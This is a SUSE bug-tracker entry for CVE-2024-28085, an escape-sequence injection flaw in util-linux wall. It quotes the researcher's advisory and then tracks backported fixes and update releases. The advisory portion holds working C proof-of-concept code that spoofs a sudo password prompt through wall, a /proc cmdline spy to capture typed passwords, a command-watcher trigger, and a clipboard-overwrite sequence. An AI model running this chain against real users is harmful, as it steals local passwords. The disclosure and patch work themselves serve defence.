Bug 1221831 (CVE-2024-28085)

Summary: VUL-0: CVE-2024-28085: util-linux: improper neutralization of escape sequences in wall
Product: [Novell Products] SUSE Security Incidents Reporter: Carlos López <carlos.lopez>
Component: IncidentsAssignee: Security Team bot <security-team>
Status: IN_PROGRESS --- QA Contact: Security Team bot <security-team>
Severity: Normal    
Priority: P3 - Medium CC: gabriele.sonnu, lidong.zhong, meissner, sbrabec, thomas.leroy
Version: unspecified   
Target Milestone: ---   
Hardware: Other   
OS: Other   
URL: https://smash.suse.de/issue/398560/
Whiteboard: CVSSv3.1:SUSE:CVE-2024-28085:8.4:(AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
Found By: --- Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---

Description Carlos López 2024-03-21 16:33:42 UTC
Wall-Escape (CVE-2024-28085)

Skyler Ferrante: Improper neutralization of escape sequences in wall

========================================================================
Summary
========================================================================

The util-linux wall command does not filter escape sequences from 
command line arguments. The vulnerable code was introduced in commit
cdd3cc7fa4 (2013). Every version since has been vulnerable.

This allows unprivileged users to put arbitrary text on other users 
terminals, if mesg is set to y and wall is setgid. CentOS is not
vulnerable since wall is not setgid. On Ubuntu 22.04 and Debian
Bookworm, wall is both setgid and mesg is set to y by default.

If a system runs a command when commands are not found, with the unknown
command as an argument, the unknown command will be leaked. This is
true of Ubuntu 22.04. Debian Bookworm does not leak unknown commands in
its starting configuration.

On Ubuntu 22.04, we have enough control to leak a users password by
default. The only indication of attack to the user will be an incorrect
password prompt when they correctly type their password, along with
their password being in their command history.

On other systems that allow wall messages to be sent, an attacker may
be able to alter the clipboard of a victim. This works on 
windows-terminal, but not on gnome-terminal.

========================================================================
Analysis
========================================================================

When displaying inputs from stdin, wall uses the function fputs_careful
in order to neutralize escape characters.

Unfortunately, wall does not do the same for input coming from argv.

term-utils/wall.c (note that mvec is argv)
```
/*
* Read message from argv[]
*/
int i;

for (i = 0; i < mvecsz; i++) {
  fputs(mvec[i], fs);
  if (i < mvecsz - 1)
	  fputc(' ', fs);
}
fputs("\r\n", fs);
...

/*
 * Read message from stdin.
 */
while (getline(&lbuf, &lbuflen, stdin) >= 0)
        fputs_careful(lbuf, fs, '^', true, TERM_WIDTH);
```

Since argv is attacker controlled, and can contain binary data, this is
exploitable. A simple PoC command:

	wall $(printf "\033[33mHI")

If you are vulnerable, this should show a broadcast with "HI" being
yellow. If we instead run:

	echo $(printf "\033[33mHI") | wall

This should fail with "^[[33m" showing up before our message.

To make sure the PoC will work, make sure your victim user can actually
receive messages. First check that mesg is set to y (`mesg y`). If a
user does not have mesg turned on, they are not exploitable.

If you still can't receive messages, try running `su current_user` or
accessing the machine through SSH. Note that just because you can't
receive messages without first going through su/SSH, does not mean a
user is not vulnerable.

========================================================================
Exploitation
========================================================================

Most distros allow argument data to be seen by unprivileged users, and
some distros run commands when commands are not found. We can use this
to leak a users password by tricking them into giving their password as
a command to run.

When I run the command xsnow in my terminal, I get the following output:
```
Command 'xsnow' not found, but can be installed with:
sudo apt install xsnow
```

Lets look at what new processes are created when I do this:
```
-bash
/usr/bin/python3 /usr/lib/command-not-found -- xsnow
/usr/bin/snap advise-snap --format=json --command xsnow
```

This is on Ubuntu, but similar commands exist on other systems.

As a simple demonstration let's create a fake sudo prompt for
gnome-terminal, and then spy on /proc/$pid/cmdline.

fake sudo prompt:
```
#include<stdio.h>
#include<unistd.h>

int main(){
	char* argv[] = {"prog",
		"\033[3A" // Move up 3
		"\033[K"  // Delete prompt
		"[sudo] password for a_user:"
		"\033[?25l"
		// Set forground RGB (48,10,36)
		// 	hide typing
		"\033[38;2;48;10;36m",
	NULL};

	char* envp[] = {NULL};

	execve("/usr/bin/wall", argv, envp);
}
```

cmdline spy:
```
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<ctype.h>
#include<stdlib.h>
#include<dirent.h>
#include<time.h>

#define USLEEP_TIME 2000

int main(){
        pid_t current_max_pid = 0, next_max_pid;
        char current_file_name[BUFSIZ];
        char buf[BUFSIZ];

        DIR* proc_dir;
        struct dirent *dir_e;
        int curr_e_fp;

        while(1){
                proc_dir = opendir("/proc");
                if(!proc_dir)
                        abort();

                usleep(USLEEP_TIME);
                while((dir_e = readdir(proc_dir)) != NULL){
                        char* d_name = dir_e->d_name;

                        // If not a digit (not a process folder)
                        if(!isdigit(*d_name))
                                continue;

                        int num = atoi(d_name);

                        if(num > current_max_pid){
                                next_max_pid = num;
                        }else{
                                continue;
                        }

                        snprintf(current_file_name, sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");
			curr_e_fp = open(current_file_name, O_RDONLY);
                        int ra = read(curr_e_fp, buf, BUFSIZ-1);
                        close(curr_e_fp);

                        for(int i = 0; i<ra-1; i++)
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds
                        buf[ra-1] = '\n';

                        write(1, buf, ra);
                }
                current_max_pid = next_max_pid;
                closedir(proc_dir);
        }
}
```

If we run the cmdline spy and the sudo password prompt, the user may
input their password as a command. It will look like the following on
Ubuntu:

```
-bash
/usr/bin/python3 /usr/lib/command-not-found -- SuperSecretPassword!
/usr/bin/snap advise-snap --format=json --command SuperSecretPassword!
```

Some distros, like Debian, do not seem to have a command like
command-not-found by default. There does not seem to be a way to leak
a users password in this case then, even though we can send escape
escape sequences to them.

This works, but the user has no reason to expect a password page at this
point. Now that we have shown some exploitability, lets try and make it
better.

Imagine we run the cmdline spy in one terminal, and then in another
terminal we run `sudo systemctl status cron.service`. The spy will see
the sudo process first, and then after the user types their password 
correctly they will see `systemctl status cron.service`.

```
sudo systemctl status cron.service
systemctl status cron.service
```

An attacker could inject a password incorrect message as soon as the
second process starts (password correct). The user will assume they
typed their password incorrectly and enter it again.

watch for certain command
```
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<ctype.h>
#include<stdlib.h>
#include<dirent.h>
#include<time.h>
#include<string.h>

#define USLEEP_TIME 3000

int main(int argc, char** argv){
        pid_t current_max_pid = 0, next_max_pid;
        char current_file_name[BUFSIZ];
        char buf[BUFSIZ];

        DIR* proc_dir;
        struct dirent *dir_e;
        int curr_e_fp;

	if(argc != 2){
		printf("Usage: prog search_string\n");
		return 1;
	}

        while(1){
		proc_dir = opendir("/proc");
		if(!proc_dir)
			abort();
                usleep(USLEEP_TIME);
                while((dir_e = readdir(proc_dir)) != NULL){
                        char* d_name = dir_e->d_name;

                        // If not a digit (not a process folder)
                        if(!isdigit(*d_name))
                                continue;

                        snprintf(current_file_name, sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");
                        curr_e_fp = open(current_file_name, O_RDONLY);
                        int ra = read(curr_e_fp, buf, BUFSIZ-1);
                        close(curr_e_fp);

                        for(int i = 0; i<ra-1; i++)
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds
                        buf[ra-1] = '\0';

			// Check if proces is us
			if(strstr(buf, argv[0])){
				continue;
			}
			// Check against search string
			if(!strcmp(buf, argv[1])){
                        	write(1, buf, ra);
				write(1, "\n", 1);
				return 0;
			}
                }
		closedir(proc_dir);
        }
}
```

Imagine our new spy code was compiled as watch, and our wall exploit was
called throw.

We can now run:
```
./watch "sudo systemctl start sshd"; ./watch "systemctl start sshd"; sleep .1; ./throw
```

The first two commands will wait until the user runs

	sudo systemctl start sshd

and correctly types their password for sudo. Then our wall exploit
sends our fake sudo prompt. We need to sleep for a short duration to
make sure we cover up the command prompt.

During this process, we need to make sure our original spy code
is logging all cmdline arguments, to recover the victims password.

Example log from original spy:
```
./watch sudo systemctl start sshd
sudo systemctl start sshd
./watch systemctl start sshd
systemctl start sshd
bash
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- SuperStrongPassword
/usr/bin/snap advise-snap --format=json --command SuperStrongPassword
```

Now lets imagine a different style of attack. An attacker can change a
users clipboard through escape sequences on some terminals. For
example, windows-terminal supports this. Gnome-terminal does not.

```
#include<stdio.h>

int main(){
        printf("\033]52;c;QXR0YWNrZXIgbWVzc2FnZQo=\a");
}
```

Since we can send escape sequences through wall, if a user is using
a terminal that supports this escape sequence, an attacker can change
the victims clipboard to arbitrary text.
Comment 4 Stanislav Brabec 2024-03-27 14:35:12 UTC
The backport of the fix would be a bit more complicated, as fputs_careful() does not exist in older versions. And we are not replacing fputs() but buf_puts(), which is not a clone of puts() but a variant of memcpy().
Comment 5 Stanislav Brabec 2024-03-27 14:57:31 UTC
There is a problem in the backporting.

The new version uses one line fix using fputs_careful() from the carefulputc.h header. This is basically safe version of puts().

But all our maintained versions use buf_puts(), which is a writing to the memory.

So we have either convert the old wall.c using buffer to a buffer less wall.c. Or convert fputs_careful() to buf_puts_careful(). But it needs to create buf_* counterparts of these functions:
fprintf()
fputs() (already exists)
putc()
fwrite()
which will behave exactly like the fd versions.

Or, alternatively, use a temporary file, or study a bigger part of wall.c and combine those approaches.
Comment 6 Stanislav Brabec 2024-03-27 17:27:35 UTC
It seems that this commit is a prerequisite of the easy fix. It looks safe and wise code refactor from a custom functions to the standard ones:

commit 27ee6446503af7ec0c2647704ca47ac4de3852ef
Author: наб <nabijaczleweli@nabijaczleweli.xyz>
Date:   Wed Mar 15 16:16:43 2023 +0100

    wall: convert homebrew buffering to open_memstream()
    
    The struct buffer system duplicates a plethora of standard I/O
    functions (including a fork of fputc_careful())
    and adds a lot of complexity ‒ open_memstream() is standard,
    and fits perfectly into this niche

https://github.com/util-linux/util-linux/commit/27ee6446503af7ec0c2647704ca47ac4de3852ef

And this might be needed as well:
https://github.com/util-linux/util-linux/commit/8a7b8456d1dc0e7ca557d1ac31f638986704757f
Comment 7 Stanislav Brabec 2024-03-27 20:00:21 UTC
And also this patch is needed to get the fix compiled in SLE-15-SP5.

https://github.com/util-linux/util-linux/commit/aa13246a1bf1be9e4f6eb331f4d4d2dbc875e22f
Comment 8 Stanislav Brabec 2024-03-27 21:36:45 UTC
In a set of 3 additional patches that refactor custom implementation of memstream to the standard one, I was able to apply the proposed one line fix.

This is in my opinion the most safe solution, as the new implementation not only properly handles escape sequences, but it also properly handles wide characters.

This solution has a downside:
The refactor affects three utilities: last, write and wall. So Qa not only needs to test that it properly fixes the exploitability, but it also has to test that last and write still work as expected.

Fixes were submitted.

Submission notes:
SUSE_SLE-15-SP5_Update
https://build.suse.de/request/show/324990
Straightforward fix, just add another 3 refactor patches.

SUSE_SLE-15-SP4_Update
https://build.suse.de/request/show/324991
Straightforward fix, just add another 3 refactor patches.

SUSE_SLE-15-SP3_Update
https://build.suse.de/request/show/324992
Easy backporting of 2 patches was needed.

SUSE_SLE-15-SP1_Update
https://build.suse.de/request/show/324993
Backporting of 3 patches was needed.

SUSE_SLE-12-SP5_Update
https://build.suse.de/request/show/324994
Backporting of 3 patches was needed.

Factory will be fixes by a version update. ALP and SLE15 SP6 will get its fix later.

If there is a need to fix older products like SLE15 GA and SLE12 <= SP4, please let me know.

According to the vulnerability description, SLE11 is not affected, as it does not have the vulnerable commit.
Comment 9 Thomas Leroy 2024-03-28 09:46:11 UTC
Public in oss-sec ML
Comment 11 Maintenance Automation 2024-04-03 16:30:02 UTC
SUSE-SU-2024:1106-1: An update that solves one vulnerability and has two security fixes can now be installed.

Category: security (important)
Bug References: 1194642, 1207987, 1221831
CVE References: CVE-2024-28085
Maintenance Incident: [SUSE:Maintenance:32955](https://smelt.suse.de/incident/32955/)
Sources used:
SUSE Linux Enterprise High Performance Computing 15 SP2 LTSS 15-SP2 (src):
 util-linux-2.33.2-150100.4.45.1, util-linux-systemd-2.33.2-150100.4.45.1
SUSE Linux Enterprise Server 15 SP2 LTSS 15-SP2 (src):
 util-linux-2.33.2-150100.4.45.1, util-linux-systemd-2.33.2-150100.4.45.1
SUSE Linux Enterprise Server for SAP Applications 15 SP2 (src):
 util-linux-2.33.2-150100.4.45.1, util-linux-systemd-2.33.2-150100.4.45.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 12 Maintenance Automation 2024-04-09 08:30:02 UTC
SUSE-SU-2024:1172-1: An update that solves one vulnerability and has one security fix can now be installed.

Category: security (important)
Bug References: 1207987, 1221831
CVE References: CVE-2024-28085
Maintenance Incident: [SUSE:Maintenance:33154](https://smelt.suse.de/incident/33154/)
Sources used:
openSUSE Leap 15.5 (src):
 util-linux-systemd-2.37.4-150500.9.6.1, python3-libmount-2.37.4-150500.9.6.1, util-linux-2.37.4-150500.9.6.1
SUSE Linux Enterprise Micro 5.5 (src):
 util-linux-systemd-2.37.4-150500.9.6.1, util-linux-2.37.4-150500.9.6.1
Basesystem Module 15-SP5 (src):
 util-linux-systemd-2.37.4-150500.9.6.1, util-linux-2.37.4-150500.9.6.1
Server Applications Module 15-SP5 (src):
 util-linux-systemd-2.37.4-150500.9.6.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 13 Maintenance Automation 2024-04-09 08:30:06 UTC
SUSE-SU-2024:1171-1: An update that solves one vulnerability can now be installed.

Category: security (important)
Bug References: 1221831
CVE References: CVE-2024-28085
Maintenance Incident: [SUSE:Maintenance:33157](https://smelt.suse.de/incident/33157/)
Sources used:
SUSE Linux Enterprise Software Development Kit 12 SP5 (src):
 util-linux-2.33.2-4.36.1
SUSE Linux Enterprise High Performance Computing 12 SP5 (src):
 python-libmount-2.33.2-4.36.1, util-linux-systemd-2.33.2-4.36.1, util-linux-2.33.2-4.36.1
SUSE Linux Enterprise Server 12 SP5 (src):
 python-libmount-2.33.2-4.36.1, util-linux-systemd-2.33.2-4.36.1, util-linux-2.33.2-4.36.1
SUSE Linux Enterprise Server for SAP Applications 12 SP5 (src):
 python-libmount-2.33.2-4.36.1, util-linux-systemd-2.33.2-4.36.1, util-linux-2.33.2-4.36.1
SUSE Linux Enterprise Workstation Extension 12 12-SP5 (src):
 util-linux-2.33.2-4.36.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 14 Maintenance Automation 2024-04-09 08:30:07 UTC
SUSE-SU-2024:1170-1: An update that solves one vulnerability and has two security fixes can now be installed.

Category: security (important)
Bug References: 1194038, 1207987, 1221831
CVE References: CVE-2024-28085
Maintenance Incident: [SUSE:Maintenance:33156](https://smelt.suse.de/incident/33156/)
Sources used:
openSUSE Leap 15.3 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, python3-libmount-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1
SUSE Linux Enterprise High Performance Computing LTSS 15 SP3 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1
SUSE Linux Enterprise Server 15 SP3 LTSS 15-SP3 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1
SUSE Linux Enterprise Server for SAP Applications 15 SP3 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1
SUSE Enterprise Storage 7.1 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1
SUSE Linux Enterprise Micro 5.1 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1
SUSE Linux Enterprise Micro 5.2 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1
SUSE Linux Enterprise Micro for Rancher 5.2 (src):
 util-linux-systemd-2.36.2-150300.4.41.1, util-linux-2.36.2-150300.4.41.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 15 Maintenance Automation 2024-04-09 08:30:10 UTC
SUSE-SU-2024:1169-1: An update that solves one vulnerability and has two security fixes can now be installed.

Category: security (important)
Bug References: 1207987, 1220117, 1221831
CVE References: CVE-2024-28085
Maintenance Incident: [SUSE:Maintenance:33155](https://smelt.suse.de/incident/33155/)
Sources used:
SUSE Manager Proxy 4.3 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Manager Retail Branch Server 4.3 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Manager Server 4.3 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
openSUSE Leap 15.4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, python3-libmount-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
openSUSE Leap Micro 5.3 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
openSUSE Leap Micro 5.4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise Micro for Rancher 5.3 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise Micro 5.3 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise Micro for Rancher 5.4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise Micro 5.4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise High Performance Computing ESPOS 15 SP4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise High Performance Computing LTSS 15 SP4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise Desktop 15 SP4 LTSS 15-SP4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise Server 15 SP4 LTSS 15-SP4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1
SUSE Linux Enterprise Server for SAP Applications 15 SP4 (src):
 util-linux-systemd-2.37.2-150400.8.29.1, util-linux-2.37.2-150400.8.29.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 16 Stanislav Brabec 2024-04-10 12:59:01 UTC
Backport to SLE12 SP3 required just another backport: Introduction of cctype.h.

util-linux-include-add-cctype_h.patch

I used tre one from https://github.com/util-linux/util-linux/commit/7088bd88323fa9152ec9fbe4089fe76807445ed3
Exactly the same instance exists all util-linux releases < 2.39. So I don't expect any additional problems in comparison to SLE12 SP5.

SUSE_SLE-12-SP3_Update
https://build.suse.de/request/show/326019
Backporting of 4 patches was needed.
Comment 22 Maintenance Automation 2024-06-10 20:30:17 UTC
SUSE-SU-2024:1943-1: An update that solves one vulnerability and has three security fixes can now be installed.

Category: security (important)
Bug References: 1218609, 1220117, 1221831, 1223605
CVE References: CVE-2024-28085
Maintenance Incident: [SUSE:Maintenance:34183](https://smelt.suse.de/incident/34183/)
Sources used:
openSUSE Leap 15.6 (src):
 util-linux-systemd-2.39.3-150600.4.3.1, util-linux-2.39.3-150600.4.3.1, python-libmount-2.39.3-150600.4.3.1
Basesystem Module 15-SP6 (src):
 util-linux-2.39.3-150600.4.3.1, util-linux-systemd-2.39.3-150600.4.3.1
Server Applications Module 15-SP6 (src):
 util-linux-systemd-2.39.3-150600.4.3.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.